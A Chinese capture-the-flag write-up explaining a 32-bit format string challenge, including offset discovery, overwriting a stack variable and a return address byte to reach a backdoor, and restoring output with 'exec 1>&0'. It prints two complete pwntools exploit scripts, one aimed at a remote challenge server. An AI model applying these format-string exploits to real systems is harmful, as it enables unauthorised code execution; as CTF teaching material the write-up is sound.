这道题目是格式化字符串漏洞的一道题目,还涉及到了重定向。记录一下,这是可是详细讲解,不会的同学可以看一下。
我们来看一下题目内容
主函数没有什么说的,直接来看vuln函数。
题目大眼一看有两处格式化字符串漏洞。遇到这个一般是先找偏移。通常来说是先输入一串%p,通过输出的内容来数偏移。但是这里一开始只让你输入13个字符串,这咋计算呢。我这只有一个笨方法。
就是输入aaaa%1$p 从一开始一个一个试,aaaa%2$p,aaaa%3$p ......知道试到15就出现了
因为程序是32位程序,所以第一个格式化字符串漏洞的偏移就是15了,那么找到偏移我们如何利用的呢。再回到上面的vuln函数中有一个if 语句判断v3是否等于12,如果不等于12程序就直接退出了。
这里肯定是利用格式化字符串漏洞先把v3的值改成12。如何改?看到程序运行时先把v3的地址给输出出来。我们把payload先构成这样:
pl = p32(v3_addr)+'%8c%15$n'
v3的地址你先接受一下
r.recvuntil('First step:\n') v3_addr= int(r.recvuntil('\n'),16)
这样我们就可以把v3的值修改成12。
接下来就可测试下一个格式化字符串的偏移。如果是直接gdb 调试我们不容易进入下一个格式化字符串那个位置。我的办法是写exp调试
from pwn import * context.log_level = 'debug' #context.terminal=['gnome-terminal','-x','sh','-c'] r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) close = lambda : p.close() debug = lambda : gdb.attach(p) shell = lambda : p.interactive() p = process('./pwn') #p = remote('123.57.230.48','12342') elf = ELF('./pwn') backdoor = 0x0804874d gdb.attach(p,'b *0x08048685') ru('First step:\n') target = int(rud('\n'),16) pl = p32(target)+'%8c%15$n' success(hex(target)) sl(pl) pl ='aaaa'+'%p%p%p%p%p%p%p%p' sla('there',pl) shell()
我们在第三个printf那里下一个断点。运行exp时会弹出一个终端。
输入c是继续调试。n下一步,直到执行完call printf
我们回到开始的终端页面(运行exp那个页面)
这里就可以看出第二个偏移时7了。那如何利用呢?
我还是的gdb调试
在 vuln下断点。
这是输出v3的地址。接下来我们查看栈中的内容。
我们可以看到这个地址和返回地址相差了0x10,程序给了后门函数。backdoor = 0x0804874d。我们可以发现返回地址中保存的内容也是一个地址,而且呢与后门函数长得非常相似,那么思路就来了。把返回地址中的地址的最后一字节修改成4d
这不就直接可以返回后门函数了嘛。为啥这么做呢,因为第二个scanf输入也受到了限制。只让你输入20个字符无法造成溢出。到这里还没完呢!
这里有一个close()函数。这就关闭了输入,你ls就没发用了。
0和1是linux下的文件描述符。
在Linux中一切皆文件,文件描述符(file descriptor)是内核为了高效管理已被打开的文件所创建的索引,是一个非负整数(通常是小整数),用于指代被打开的文件,所有执行I/O操作的系统调用都通过文件描述符。程序刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。如果此时去打开一个新的文件,它的文件描述符会是3。
标准输入输出的指向是默认的,我们可以修改它们的指向,也即重定位
举例子,可以用exec 1>myoutput把标准输出重定向到myoutput文件中,也可以用exec 0<myinput把标准输入重定向到myinput文件中,而且,文件名字可以用&+文件描述符来代替。
那么问题到这里就解决了,三条语句中close(1);close(2)即把标准输出和标准错误输出关闭,然后我们可以执行 exec 1>&0,也就是把标准输出重定向到标准输入,因为默认打开一个终端后,0,1,2都指向同一个位置也就是当前终端,所以这条语句相当于重启了标准输出,此时就可以执行命令并且看得到输出了
我们getshell时先输入一个exec 1>&0再ls
from pwn import * # context.log_level = 'debug' r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) close = lambda : p.close() debug = lambda : gdb.attach(p) shell = lambda : p.interactive() # p = process('./pwn') p = remote('123.57.230.48','12342') elf = ELF('./pwn') backdoor = 0x0804874d # gdb.attach(p,'b *0x08048685') ru('First step:\n') target = int(rud('\n'),16) pl = p32(target)+'%8c%15$n' success(hex(target)) sl(pl) pl = p32(target+0x10)+'%'+str((backdoor&0xff)-4)+'c%7$hhn' sla('there',pl) shell()
原exp2021极客大挑战WP集合_Ocean的博客-CSDN博客